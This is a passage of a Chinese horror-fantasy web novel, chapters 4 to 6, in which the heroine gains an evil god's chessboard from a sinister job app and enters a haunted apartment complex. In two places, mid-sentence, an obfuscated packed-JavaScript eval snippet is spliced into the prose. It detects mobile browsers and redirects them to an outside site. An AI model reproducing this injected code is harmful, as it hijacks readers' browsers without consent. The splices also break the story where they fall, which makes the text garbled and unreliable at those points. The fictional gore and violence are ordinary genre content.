玉人通体深红,脸上没有五官,下半身长着像根须一样密密麻麻的血管。 红地毯里的血管从苏醒开始便沿着墙壁向上蔓延,将整个房间都包裹成了一个血管茧。 老板已经跟这间办公室融为一体了。 “真以为自己走的掉?”老板嘲笑的声音从四面八方的血管中传来,“你们从进来开始,就注定了要沦为人牲祭品。” “祭品?献祭给谁?” “宇宙之主,混沌的化身,恐怖和邪恶的本源,”老板化身谜语怪,同时更多触手涌向落网的小虫子,“你会成为旧日之主的祭品,而我将得到主人更多的赏赐!” 主人,祭品,赏赐,封建糟粕思想要不得。 老板兴致高昂的发表被股莫名的寒意打断,它顺着血管蔓延上来。 老板这才发现对面的小虫子已经沉默很久了。 但很快它就没有闲心再去关注其它。寒意越来越盛,顺着血管侵入血液,骨髓,直刺灵魂。 它感觉好冷好冷,但身上的血管却像被恐怖的高温灼烫一样融化。 意识即将消散之际,它看到了半融化的触手中裹的哪是什么年轻男人,分明是一个无形的黑洞。 林黎发觉身上捆绑的力道松懈,挣扎着抽出一只手,正要把恶心的触手撕掉。 咔嗒。 冰冷的机械音突兀地传来。 林黎抬起头,只听砰一声巨响,老板的玉脑袋猛地炸开,腥臭的红色液体混合着碎裂的血管残渣溅了她满脸。 目光越过轰然瘫倒的躯体,破开大洞的红茧,对上一个漆黑冒烟的黑洞。 不知何时,办公室的两扇玻璃门大开,门口的人背光站着,看不清面孔。 只有对准她的木仓在灯光下泛着冷冽的银光。 4. 邪神的棋盘 老旧的写字楼安静矗立在垃圾街上,墙面已经剥落,挂满了道道黄褐色的水纹。 此时,原本荒无人烟的街道上被数辆黑色面包车占据,车顶的信号灯发出呜呜的尖啸声,红蓝光不断闪烁,刺眼的车前灯大开,将写字楼前的街道照得雪白。 安全局队伍整齐,统一身着黑色制服,按照命令的队形排布,手持热武器对准写字楼,个个神色肃穆。 虽说核心诡怪被击杀后,它展开的诡域也会消失,但有时会有漏网之鱼外逃,所有人都不敢放松戒备 不多时,落满灰尘的玻璃大门发出嘎吱一声,在门前焦急踱步的中年男人脚步一顿,在瞥见那头银发时顿时松了口气。 梳着银色辫子的清俊男人从里面走了出来,肩上还扛着个人。 周宁,也就是中年人,确认对方肩上的人就是陈家大少后,原本忧心忡忡的面色稍霁。 他小心翼翼地望向银发男人,斟酌用词道,“顾队,要让待命的医护人员过来吗?” “准备特殊收容流程。”顾淮把肩上昏迷的男人丢到备好的担架上。 周宁面色刷地一变,眉头紧皱起来。 在诡域中,有些日常用品受到诡怪力量的影响,会异化出特殊的功能,这些东西被称为诡物,但异能者们更喜欢叫它们道具,好记易懂。 但这些具有特殊功能的道具往往带着极强的污染性,所以不使用时必须使用特殊收容流程封禁起来。 然而现在,顾淮竟然要特殊收容一名求生者? “除了这名幸存者以外,其他求生者,一名死亡,两名以及核心诡怪均出现严重的异化。可以初步判定,这个诡域可能出现了邪神信徒的痕迹。” 周宁在听到邪神这个词时下意识屏住了呼吸,凡是过过诡域的人没有不知道其中凶险的。 只要有流出邪神消息的诡域,里面的求生者存活率都会低到可怕,百不存一,甚至团灭都很常见。 异能局四处搜集这些信息碎片,整理后总结出,但凡接触过邪神相关的东西,不管是人还是物,包括诡怪都会受到严重的污染。 污染呈现形式为,精神值清空,躯体上出现不可控的变异。 所以,其实在陈宥完全恢复意识前,他们都还不能确定他是否活着,还是只是一件会呼吸的污染物。 在做完详细的污染检测评定以前,陈宥都必须被严密隔离。 “不仅是他,我也会接受隔离检测。” 周宁神色一凛,异能者比普通人抗污染性要强数倍,但连顾淮这么强大的异能者竟然都觉得自己有被感染的风险,可见这个诡域里面确实异常凶险。 “是,顾队。” “还有,”顾淮叫住周宁,面色严肃地从口袋里勾出一个小奶杯。 冷冰冰的男人和迷你小奶杯的诡异组合先是让周宁愣了秒,接着才去打量。 杯子陶瓷质地,暖栗色,杯柄是猫咪尾巴形,末端与杯身上的猫咪相衔接。扫过蓬松洁白毛发,周宁蓦地对上一双大大的蓝色眼睛。 “好可爱!” 周宁看得眼直,浑然不觉地喃喃夸赞,然后就见那双大蓝眼吧嗒一眨。 “啊!它……它……” 旁边穿着整套防污染服的工作人员两手接过杯子,小心翼翼地将它垂直放入一个黑匣子。 黑匣子呈立方形,哑光色,看不出材质,里面铺了柔软的丝绒垫子,合上后盖子发出咔哒一声,盒表自动闪过道道墨蓝色纹路。 这是专门用来收容特殊道具的隔离箱,可以最大程度控制道具上的污染。 周宁反应过来杯子是个特殊道具,刚才在猝不及防间中了它的能力。 他顿时老脸一红,自己一把年纪竟然还在顾淮这样的小年轻面前犯这么低级的错误,实在太不应该了。 然而银发男人的表情并没有因此出现什么变化。 事实上这几天相处下来,周宁就没见过这位首都来的强大异能者有过其它表情。 “这个诡域存在邪神痕迹竟然还能存活一个求生者,陈大少的运气真不可说不好。”周宁赶忙哈哈几句掩饰尴尬。 “两个。”顾淮接过全身密闭的隔离服套上。 周宁不明所以地问,“还有一个?您刚才不是说其他求生者都死了吗?” “我怀疑另一个并不是求生者,”顾淮说。 他想到那张异常干净的桌子,靠着角落,上下不见一点灰尘,明显是被人仔细擦拭过,并且存在长期使用的痕迹。 就是在这个工位上,他发现了那个猫咪奶杯。 “人类绝对没办法在诡域里长期存活,”周宁皱眉道,“更不用说生活在里面。” “去查个人,”顾淮回忆着在报表确认处瞥见过的签名,“林黎。” 虽然周宁知道顾淮不会随便报一个名字,但全国这么多人,重名的不知道有多少个,想精准定位,光靠一个名字太难了。 “顾队,有关于目标更详细一点的信息吗?”周宁思忖着问道。 顾淮垂下眼睑,脑海里闪过桌上的那张蓝白英短照片,沉吟道,“喜欢猫。” 周宁:? …… “最讨厌臭猫!起开!” 林黎把砸到肚子上的凶器赶下去,顺便不爽地摸了把没心没肺的胖子屁股 “喵嗷~” 她看了看四周,是自己的床没错。看来在老板被杀掉后自己的工作就顺利结束了。 “各位观众晚上好,欢迎收看凌晨简讯。 不久前,拆迁区突发一起诡域事件,诡域现已被封禁。 安全局提醒大家,看到设有警示标识的区域请不要逗留,更不要靠近,以免卷入……” 睡前没有关窗户,播报简讯的声音随着夜风隐隐约约从隔壁传进来。也不知道是哪个邻居,熬夜在凌晨看新闻。 嗡。枕边的手机震动了下。 林黎摸过来打开,几乎是同时,一条消息从上方弹出来。 【检测到您已异地登陆】 她的手指悬在上面顿了下。 这个app竟然能跟着她的意识切换登录……它为什么会突然出现,跟着她又有什么目的? 成年前,林黎每天都在做觉醒异能,走上人生巅峰迎娶高富帅的美梦,但现在距离美梦破灭已经过去好几年了。 她是经受过多年社会毒打的社畜,明白了天上不会掉馅饼这个浅显的道理。 林黎听着新闻简讯播报结束后的音乐,夜风吹开纱帘,简陋的出租屋在月光下一览无余,贫穷与廉价的气息浓郁得令人窒息。 悬停的手指果断按下,轻轻一点。页面加载后刷出了一屏幕密密麻麻的招聘信息。 林黎粗粗扫了眼,直接按开最下面带红点的符号。 个人页面背景同样是一片白色,上面有四个功能区,分别是简历,求职意向,工作结算,道具商城。 眼下道具商城还是灰色的锁定状态,而工作结算那栏上正挂着提示的红点。 林黎没有犹豫地点开。 【恭喜您完成第一份工作,报酬结算中……】 结算没有持续很久,紧接着页面上冉冉升起一个五颜六色的骷髅头,背后还放着满屏的烟花。 【解锁称号:职场解放者】 加班是世界上最邪恶的事,您为此主持了正义,让下不了班的公司从此永久下班,求生者3/4,奖励拼图:150 请再接再厉哦! 【解锁称号:职场杀手】 这是个令人沉痛的消息,您所有的同事和老板都已身亡。虽然您只是想小小教训一下,但请紧记,同事和老板都很脆弱,下次请谨慎使用武力,黑色称号不奖励拼图 脆弱个头。 林黎撇撇嘴,若有所思的目光从第一条的求生者数目上扫过,发现数字“3”用了红色标注,应该是指求生者的死亡人数,“4”则是指总人数。 从最终的奖惩情况来看,app明显是在引导她杀戮更多的求生者。 她的目光转到奖励上,随后跳出来的信息解释了拼图的用处,大概是类似积分的存在,可以在商城兑换商品。 同时也可以用来拼图,每拼完整一副,就可以获得一次抽奖的机会。 林黎打开抽奖池瞅了眼,差点没忍住口水。从百万现金到珍稀珠宝,从日常用品到 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15997418|178246||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 罕见道具。app似乎很清楚林黎纯正的非酋血脉,还贴心地设置了一个十抽保底。 只要十抽,就能获取奖池里的任意一件! 明知道这些全都是app在诱惑她抽抽抽,但林黎还是没能忍住。 双击拼图符号,它们开始在画框中自动拼凑起来,但才到画幅的三分之一就结束了。 剩下辣么大一堆竟然全都是重复的! 这个不要脸的app就是明晃晃地坦白,想要拼完,就要获得更多的拼图,想要拼图,就要接更多的工作。 其用心简直比路灯资本家还要险恶。 林黎深吸口气关掉拼图界面,看到背包里还有一个金光闪闪的礼盒,这才想起来还没看新人奖励是什么。 郁闷的心情稍缓。 她果断双击,礼盒跳到画面中央射出五彩缤纷的光,接着砰一声,盒盖打开,屏幕骤然一暗。 粘稠的红色液体从屏幕中涌出来,浓烈的血腥味扑面而来。 林黎腾地从床上坐起来,望着满手黏腻的鲜血,呼吸不觉变得急促。奇怪的是,鲜血没有继续滴落,而是像不受重力影响一样悬浮在她的手上,慢慢聚拢凝合成了一个矩形的东西。 矩形盘子入手微沉,盘面覆着一层细腻光滑的皮,林黎下意识想到了人皮。 盘顶面精心绘制满了黑红相间的方形格子,看起来类似国际象棋的棋盘,但上面的棋子全都长得奇形怪状,而且模样不一,与常见的象棋棋子不能说相差很多,只能说毫无关系。 有些勉强能看出长了很多章鱼触手,有些干脆就是一团黑,根本不知道是个什么东西。 【恭喜您获得:邪神的棋盘】 作为棋盘的主人,您是至高无上的执棋者,所有生灵都不过是上面的一枚小棋子。但请务必小心,这些棋子的危险性也许远超您的想象。 林黎突然有种感觉,心念一动,棋盘果然消失了,而屏幕背包里则多了一个棋盘模样的图标。她再一想,它又再次出现在手上。 做了二十几年的普通人,林黎还是第一次亲身体验异能。她兴奋地收放了几次,过完瘾才接着仔细打量起棋盘来。 棋盘本身看不出特殊,关键在于那些棋子。林黎试图用意念控制一枚棋子行走,却意外地发现大部分棋子都挪不动。 它们看起来根本不愿意鸟她。 林黎眯起眼睛,在里面挑了枚看起来特别弱小的狗状棋子,将全部精神集中到上面。忽然,那枚棋子仿佛变成了个黑洞,林黎的视线被猛拽了进去。 等再次能看见画面,天空地面都在剧烈震动。适应了几秒,林黎才反应过来,自己似乎是附身在了某种疾速奔跑中的动物身上。 两边是伸手不见五指的漆黑森林,前面是被追得精疲力尽的一家三口。爸爸妈妈带着年幼的女儿,标准的三口之家,而此时,三人看起来都格外地狼狈,空气中充满了恐惧的味道。 林黎并不能控制身体,只能任由它带着自己在林间飞驰,感觉力气多得根本用不完,每一次飞跃都会拉近一大截距离,这三个人类已经是妥妥的囊中之物。 但它并不急着吃正餐,恐惧犹如美酿,时间越久越醇厚,肉质吃起来才会更香甜。 变故发生在它准备收网开餐的时候,眼看尖锐的犬牙即将刺入中年男人的小腿,突然一声尖叫传来。 才五岁的小女孩摔在地上,惊恐的小脸上一片空白,还不明白发生了什么。 为什么自己明明跑得好好的,爸爸要拽倒她? “我的女儿!”女人扭过头,尖叫起来。 她不敢置信地望向自己的丈夫,对方憨厚的脸有一半没在阴影中,剩下一半看起来则异常狰狞。 “怎么?难道你想自己喂狼吗?那你去啊!”男人脚步不停,撂下狠话就甩掉女人,用更快的速度往前面跑去。 “妈妈!” 女人听见女儿撕心裂肺的叫唤,绝望地立在原地,身后是越来越远逐渐看不见背影的丈夫,身前是被狼群围堵慢慢没了声息的小女孩。 她好恨,好恨丈夫的冷血无情,也好恨自己的软弱无能,如果可以的话…… “你可以。” 5. 天寿小区 女人呆呆地望向发声处,一头两人高的巨狼坐立在跟前,然而一旦想更仔细地察看,就会发现它的轮廓像被雨水浸泡后的泥沼,每一秒都在微微变化。 张开的狼嘴里长了一圈骇人的尖牙,漆黑喉咙深处溢出的声音直接在她的大脑中响起,仿佛在大脑沟回上流淌过的灼热沥青。 “想要复仇吗?” 问话几乎很自然地从林黎嘴边流出。 在竭力控制住巨狼吞食掉女人的欲望后,好像突破了某层看不见的屏障,现在她能随心所欲地控制这具狼躯了。 女人脸上露出挣扎的神色,看上去很像那种平时就没主见的人,也许此前的几十年里早就习惯了让丈夫、让婆婆、让任何人替自己做决定。 依赖带来的惯性很强大,到了眼下这步,她的脸上都带着茫然和不知所措。这样的人即使一时在愤怒下走出了舒服区,以后估计也很难独自生存下来。 林黎刚这么想,就见对方身旁凝聚起了一个半透明棋子,同时一条闪光的信息在旁边展开: 【迷途的羔羊】 仁慈的您决定拯救这只迷途的羔羊,但凡事都有价码,更何况小羊羔全身都是宝,不是吗? 女人看上去一无所觉,林黎猜这些信息只有自己能看到,但没准看不见也不是件坏事。 在她的视野中,对方的器官以及身躯四肢全都被不同颜色的光划分,在这些光的旁边都明码标注了一个数字。 在这些不同颜色光的划分下,女人看起来好像不是一个人类,而是已经切割完,正待出售的肉猪。 “可……可我没有什么能献给您的……” 可怜的女人扑通一声跪倒在巨狼跟前,开始抽泣起来,“我除了……除了……” “除了丈夫和女儿,你一无所有,”林黎不紧不慢地说,“而现在这两者也都失去了……” 女人的肩膀慢慢停止颤抖,目光越过巨狼,在散去的狼群中央,看到了女儿支离破碎的身体 眼泪不断地流淌下来,但愤怒和恨意已经极大地冲淡了生理带来的恐惧。她已经没有什么可以失去了,无所顾忌也就无所畏惧。 “不管您要什么,我都愿意献上,”女人忍着哽咽,发自内心道,“我的一切,只要有您看得上,请尽管拿去吧!” 林黎看了她两秒,声音不觉地放低,仿佛一句耳边轻声的呓语,“包括你的身体?眼睛、耳朵、皮肤、骨头?” 身体器官被拆分开来描述显然为这笔交易添加了更多血腥的味道。 女人打了个寒颤,到了现在这个地步,再迟钝的人也反应过来了,面前跟自己做交易的诡异显然不是什么良善之辈,同意只会让自己越陷越深。 但她已经明白了,正义与公平无法靠外力获取,想要复仇就必须自己亲手来。 女人咬着牙,坚定道,“我愿意!” 这话就像一个开关,林黎直觉现在只要自己想,就能任意调配对方身上的部件了。 她想了下,先尝试用意念点了点对方的耳朵,选中的同时,女人旁边的透明棋子底部多了一层很浅的白色光,选中眼睛时,白光又多了一点。 林黎明白了棋盘的意思,看来必须用女人的身体部位填满这枚透明棋子才能换取所谓的力量。 女人的身体数值都太低了,林黎略一思索便将她身上所有可选部分都点上,这样才堪堪填满棋子。 随着棋子被白光填满,顶部显现出了一只羊羔仰头舒腰的模样。 林黎感觉女人跟自己之间似乎建立了某种关系,只要想,她就可以直接附身到对方身上。 突然,林黎感觉脑袋里传来一阵刺痛,这是用脑过度的提示。脑海里出现退出的念头时,身体开始变轻,视线越来越高,从巨狼第一视角,变成了俯视一狼一人的第三视角。 底下两者身影变得越来越小,在最后暗下去的视野中,林黎看到女人站起来,手里紧紧提起一大块石头,几个拳头那么大,换作从前的她肯定没有这样的力气。 看来基础棋子能被赋予的能力也有限制,数值低的人类不会一下子变得秒天秒地,变强也只能从身体素质方面提升。 林黎看着女人转身坚定地朝男人消失的方向走去。 眼睛一闭一睁,她回到了自己的房间内,盘膝的腿上仍然摆着那个棋盘,然而上面的棋子排布出现了一点变化。 原先在一众黑棋中间的狼头棋子走到了靠林黎的那边,棋身黑色褪去,变成了干净的白色。 除了白棋和暂时无法控制的黑棋外,还有两枚红铜色的棋子,都是仰面的羔羊形态。 林黎的目光若有所思地扫过棋盘,从狼头棋中脱离出来后,脑袋里的刺痛缓和了不少,但疲惫感仍然明显。 不然她就可以试试是不是能够自由操控这两枚铜棋了。 “插播一则突发事件,一家三口外出野炊,丈夫孩子已确认死亡,妻子昏迷。根据初步检测推断,孩子系死于狼群啃食。 丈夫则在脑袋身体多处发现硬物锤打的伤口,面部有严重凹陷,已无法辨认容貌,不排除是否人为。唯一幸存者妻子已经被紧急送往医院救治。 安全局再次提醒各位市民……” 好嘛,这么快就听到后续了。 手机嗡地震动了下,弹出一则消息。 【恭喜您获得了一枚基础棋子】 家庭是人类情感的避风港,可惜的是,有时候正是这些港口带来了更大的风浪。 幸而仁慈的您为这些摇摇欲坠的小船提供了坚固的庇护。 您已经展现了高超的棋艺,但棋盘上的秘密远不止如此,请尽情探索吧!奖励拼图50。 【是否默认新获得的拼图尝试拼画】 林黎点击默认尝试。 新得的拼图里只有两块飞出来拼到了未完成的画幅上,其它则都汇入了剩余拼图数额中。 林黎发现灰色的商城上面多了一个进度提示,148/300 148是林黎手上除了拿去拼图外,剩余的拼图总额,也许拼图数达到300后商城就会开启。 突然,砰砰的敲门声打破了夜晚的寂静。不知道是谁正在挨着走廊一户户地敲击。从巨大的响动可以听出,这人的手劲很大,而且处于极大的慌乱中。 敲门声伴随着杂乱的脚步由远及近,对方正在迅速靠近林黎这间。 …… 大天灾以后,按照诡域出现的频率,人类聚居区划分出了五个等级,白,绿,蓝,橙,红。 白色区是绝对安全区域,从未发现过诡域,这里聚集了一大批权贵,所以又被称为贵族保护区。 相对的,红色则是遍地诡域的危险区域,已被安全局确认为不适宜人类居住。 红色区域非常不稳定,且一直有向橙色区域扩大的迹象,除了安全局派去定期清理诡域的异能者外,几乎没有人会涉足。 刚 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15997419|178246||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 大学毕业一穷二白的陆扬能选择的余地很有限,江城算是在橙区中为数不多的相对安全的区域了。 当然房价也不低,他好不容易才在这个偏远小区租到一间满意的房子。 小区已经有些年头了,楼栋墙皮都出现了不同程度的剥落。楼里的结构是老旧的回字形,走廊靠着天井,所以即使是在白天,阳光也很难照进来。 更奇怪的是,这里的房间窗户竟然都是向内开的,导致了日照非常不充足。一开门,满屋子的潮湿和发霉的味道就汹涌而至。 等到下午整理房间时,陆扬发觉了更多的不对劲。按照房东的说法,这个小区里应该住了很多退休的老人才对。 然而一整天,四周都异常安静,没有人声,没有鸟叫,甚至连虫鸣都没有。 心里有些犯嘀咕的陆扬安慰自己安静环境更利于休息。可惜这份安静只持续到前半夜。 咚,咚,咚…… 有什么东西在不断撞击着头顶的天花板,陆扬迷迷糊糊地听着声音越来越近,越来越近,直到一声贴耳的“咚” 他猛地睁开眼睛,坐起身四下张望。漆黑的房间里空无一人,“咚,咚”的响声也在他醒来时就戛然而止。 陆扬松了口气,只觉得是自己睡迷糊了,刚要躺下,只听见背后的床边地板上响起一声清脆的“咚” 寒意瞬间从脚心涌上来,他再次睁开眼望去。昏暗的床边,一双漆黑的眸子正直直地盯着他。 陆扬感觉后背脊梁嗖嗖地发凉,用最快的速度打开灯,明亮的室内除了自己空无一人。然而那股挥之不去的注视感始终让他不敢掉以轻心。 他屏住呼吸,颤抖着手再次关掉灯,黑暗降临的同时,只见那双诡异的黑色眼睛就贴着他的鼻子出现。 从轮廓看,那似乎是个小男孩,正趴在床上盯着他。 陆扬猛地大叫一声,像皮球似的从床上弹起来,打开灯,冲出房间。 “你的意思是,开灯的时候对方会消失,但关灯时又会出现?” “它没有消失,只是……只是我们看不见它。” 陆扬结结巴巴地向唯一开门的邻居解释。 在连吃几个闭门羹后,他意外地发现开门的住户竟然是个非常漂亮的年轻女生。及腰的黑色长发,缺少日晒而有些苍白的皮肤,一双眸子异常漆黑。 林黎朝语无伦次的男生比了个噤声的手势,“好安静。” “这里不是一直这么安静吗?”陆扬不明所以地问。 这个小区确实偏辟,但现在安静得有些过分了。虫鸣声,夜风吹动树叶的沙沙声,还有刚才一直隐隐约约传来的新闻播报声,全都消失了。他们就好像突然进了一个大型隔音房。 不太对劲…… 林黎扭身察看,不知道什么时候,她简陋的出租房不见了,取而代之的是一个更加破败的房间。里面只在玄关点了一盏昏黄的顶灯,客厅黑洞洞的,但仍然能依稀从陈设轮廓辨认出这绝对不是她的房间。 就开个门的功夫,她为什么会出现在这里? 陆扬下意识屏息,紧紧盯着她,“怎么了?发生什么事了吗?” “特别要紧的事件,”林黎点点头,表情有些不安。 连带着陆扬也不由得紧张起来,左右瞅了眼黑漆漆的走廊,心想难道她也看见鬼影了? 接着他听见对面迟疑地说,“我出来好像忘关门了。” 陆扬:啊? 6. 天寿小区 陆扬愣了下,没想到会是这么普通的事,等等,”这里不是你家吗?“ 林黎刚想说当然不是,这时余光瞥到门口鞋柜顶上放的房租催缴通知,收件人那栏赫然写着两个字:林黎。 陆扬看着女生沉默了下,然后安静地转身带上门,如释重负地松了口气,“好了,现在关上了。” 陆扬:…… 他怀疑她是在玩他,而且有证据。 “这是什么?” 林黎指了指男生睡衣口袋边露出来的卡片,眼尖地捕捉到了两个关键字:邪神。 她记得附身陈宥的时候,肥羊一开始也是问她是不是邪神,再加上刚拿了一个叫邪神棋盘的道具,真的很难不相信这是个巧合。 陆扬捏着卡片一角抽出来,它看起来很普通,名片大小,皱巴巴的,很像那种会在不入流的小宾馆里,趁着无人的夜晚偷摸从门缝塞进来的小广告。 “奇怪,怎么会在这?”陆扬嘀咕道,“下午刚搬来的时候,塞在门缝里的。我记得随手扔垃圾桶了啊?” 林黎伸头飞快瞥了眼卡片内容,上看只有几行歪歪扭扭的黑字,写着几句不怎么押韵的蹩脚广告: 还在因诡域担惊受怕吗? 还在为生存忧心忡忡吗? 不要998,不要998, 只要信仰伟大的邪神, 您就能立即拯救自己! 林黎:6 她的目光扫过卡片右下角的logo时顿了下。那是个五彩斑斓的小丑,一只手快乐地扬起,似乎在开心地跟他们打招呼。 关键是,它看上去跟诡域直聘的加载图标长得很像。 林黎怀疑自己被狗app做局了,她不可能无缘无故出现在这里,这张卡片肯定是原因之一。 一阵似有若无的夜风吹过,陆扬忍不住打了个哆嗦,这才发现睡衣后背早就被冷汗打湿了,掌心也是一片粘湿。 “我感觉广告语有点奇怪就丢掉了,”陆扬勉强地笑了下,“这是个恶作剧吧,哪有邪神还要打广告的?” “你刚才不会还真的祈祷了吧?”林黎狐疑地问。 “啊,这个,”男生不好意思地哈哈道,“好像是有闪过这么个念头,但肯定不会实现呀,所以也就这么想想。主要我当时太害怕了,想点别的好分散一下注意。” 林黎沉默了会,忖度道,“有个坏消息和更坏的消息,你想先听哪个?” 陆扬下意识屏住了呼吸,面色刷地变白,嘴唇颤抖地问,“这里该不会真的有鬼吧?” 在对方惊恐的目光中,林黎点点头,抬手指着卡片上的“诡域”二字叹气道,“更坏的消息就是,我们好像陷进诡域了。” “这,这不是个广告吗?” 他不愿意相信这是真的,诡域对普通人来说不啻于一份死缓通知,能活着出来的太少了,从越安全的地区房价越昂贵,直至天价就能看出来,那哪里是房价,根本就是买命钱。 “你觉得这像个正经广告吗?”林黎拿起那份租金催缴单,上面没有标具体金额,但写了截止日期7月31日。她又看了眼签发日期,7月30日。 林黎:…… 不是,哪个好房东会只提前一天发通知? 但想到这里是诡域,也只能安慰自己这是非常规操作。 催缴单还没拿进去,说明是今天刚刚放的,所以今天有可能就是7月30号,不对,看天色已经过了凌晨,已经是31号了,看来任务的规定时限是24h。 刚想到这,手里嗡地一震,林黎打开手机扫了眼。 【检测到当前处于工作地点:天寿小区】 倒霉催的app信息一弹,林黎就知道要不好。 【职员背景:】 即将破产的您为了维系岌岌可危的生活,果断放弃了睡觉这种无用又浪费时间的事,选择开启24h夜间兼职。 不!她现在超级想睡觉好吗?仔细算算,下午刚闭上眼睛就被拉回倒闭公司加班,回来后紧接着就进了棋盘,一直到现在,真快接近24h没睡觉了。 等等,她不是才刚拿到半年工资吗,怎么会即将破产? 林黎预感不妙,火速登陆银行app,一条异常账户转账已冻结的提示弹到了屏幕上。 w,o,c 【已为您搜寻到适合的兼职岗位:调解员】 【工作内容:】 不好了!楼里最近住进了一群扰民的恶劣租户,他们总在晚上发出杂音,做运动,到处走动,甚至凌晨拍门!这还让不让人安息啦? 请帮助可怜无助的房东调解楼里的邻里纠纷。 这个app是会用词的,安息一词就能看出这栋楼里的正经人不多。 【报酬:时薪1万,绩效奖励将在工作结束后根据表现结算】 林黎的眼睛微微睁大,目光在时薪上面停留了数秒,确认是“时”而不是“月”后,第一次升起了对这个app的由衷喜爱。 以前是她错怪它了,这明明是个好app啊!业界良心,无产阶级的福音! 睡觉是什么,放假是什么,这种时薪1w的活再多来点,她可以24h不休! “4444,”一个粘腻的声音突然在不远处阴恻恻地响起。 林黎和陆扬循声望去,只见一个拄着拐杖的老妪站在黑漆漆的走廊上,身影干瘦如枯枝,脸上布满了皱纹。 最恐怖是,她只有一只眼睛,另一个眼眶里是黑洞洞的一片,眼眶边缘的肉露出种腐烂的血红。 看来这就是她那可怜无助的房东了。 “4440。” 过了几秒陆扬才反应过来,4440是他的房号,老妪是在叫他。 “正好,你们俩都在省得我多说一遍,”房东太太用黑得吓人的眼珠子直直盯着他们,“月末快到了,赶紧交上房租,过期了的话……” 她没有继续说,只是阴森沙哑地笑了声。话里的意思是催缴,但对方的表情却根本不像这么回事,满是恶意的微笑像阵寒意侵入骨髓,让人脊背发凉。 总之跟app所谓的“可怜无助”相去甚远。 陆扬被硬控了十几秒,后背又起了层冷汗。这里既然是诡域,那么眼前的老太估摸着也不是人。 “您放心,我们肯定交上。”林黎笑意盈盈地说。 她本身就长得不错,现在笑起来双眉舒展,桃花眼弯弯,表情亲和熟稔得像是处了多年的邻居。林黎的声音让陆扬缓和了点,咽了咽口水,朝房东点点头。 房东太太阴森森地盯着她看了眼,接着眯起恶毒的眼睛,“这栋楼里是有规矩的,我说过晚上绝对不能发出任何声响。” 陆扬顿时想起,下午进楼的时候确实有看见一个住户守则的东西贴在一楼楼梯口。 “刚才有住户反映,有人拍门?”房东太太的眼珠子一滑,被盯上的陆扬瞬间汗流浃背。 他回想起一路死寂的房门,明显不像是有人住的,所以跟房东反映的是什么东西? 陆扬望着步步逼近的老太太,额头和鼻子伸出了细密的冷汗,小溪一样的汗水从太阳穴一直淌到下颌。 “是吗?”身侧的女声陡然插进来,听上去有些困惑。 林黎眉头微蹙,露出努力回忆的神色,“可能是误跑进来的流浪汉吧?哪个住户反映的?需要叫调解员走访一下吗?” 陆扬被她睁眼说瞎话的本事惊到,什么流浪汉能跑这么远,进这个鸟不拉屎的山中小区? 关键是老太太能信这鬼话? 没想到房东太太听完还真沉默了,阴毒地盯着笑容亲切的林黎看了会,冷冷哼了声,“你可以试试。” 她颤颤巍巍地转身离开。 陆扬望着老太太的身影消失在拐角,这才敢凑近林黎小声问,“这楼里都没人住,还有调解员?” “这里不是写了吗?”林黎指着墙壁。 走廊上贴了不少块状牛皮癣广告,各种颜色都有,好好的一堵墙仿佛被打了许多补丁似的。 【开锁安门配钥匙】 【重金求子】 【神保佑您】 …… 林黎指的广告是一张招聘,已经被撕掉了大半,但因为贴得太紧实,所以还残留了一部分,上面依稀可以辨认出几个字: 天寿小区44栋楼诚招调解员…… “既然已经撕掉,所以我想大概是已经招到了。” “我们现在该怎么办?”陆扬呼吸急促,刻意压低的声音有些变音,“我不想回去,我的房间有鬼!” 他听见林黎的手机嗡地震动了一下,紧接着自己的口袋里传出首炸裂的摇滚乐,像股泥石流一样冲破了走廊上的死寂。陆扬心脏差点没停跳,手忙脚乱地掏出来摁掉了,没想到手指一打滑按到了接听键。 “滋滋滋……在吗?”声音伴随着电流杂音和沉闷的呼吸声。 听到里面传出的女人声音,陆扬的双眼突然像失焦的镜头一样发直,不受控制地把手机放到了耳边。 “……在吗?在吗?在吗?”女人的声音变得越来越急促,同时呼吸声也是,从沉闷的音效听对方似乎是在很狭窄密闭的空间。 “……在。”陆扬喃声回答。 对面的话音顿了下,紧接着尖锐的金属摩擦声穿透了话筒,女人阴森森地尖笑起来,“来陪我!来陪我!” 随着声音越来越响,男生的耳朵里缓缓的淌出了一条血流,但他本人毫不知觉,反而转身面向天井的护栏,撑手抬腿,就要一跃而下。 陆扬的意识是清醒的,只是他莫名无法控制自己的身体,只能眼睁睁看着天井画面在眼前放大。 救命!他不要死!谁来救救他! 脖子被衣领猛地掐住,短暂的窒息感打断了耳边女人的施法。陆扬被扯着往后摔去,仰面朝天地倒在走廊上,大口大口地喘气。 “等……咳咳……”他捂着脖子,看见林黎提起自己的手机,心急地想提醒,却被又一阵咳嗽打断。 完了。 陆扬绝望地看着女生把手机放到耳边,身体紧绷,已经做好了拦住对方跳楼的姿势。然而对面却完全没有表现出自杀倾向。 “房号?”林黎问完挂断电话,转头看到呆呆望着自己的男生。 想到对方这次无妄之灾大概是受到了自己牵连,她难得有些不好意思地说,“我也没想到能拦截成功。” “拦截什么?”陆扬懵声问。 他看到对方举起自己的手机,上面是一条刚收到的短信。 【对方来电为跨境虚拟号,已为您成功拦截】 官方反诈现在做得这么牛的吗?鬼来电都能拦截? “应该是打不通我的电话,才会就近打给你,”林黎眼睛心虚地乱飘。 “等下,”陆扬想起女生最后似乎还问了房号,“鬼为什么要打给你?” 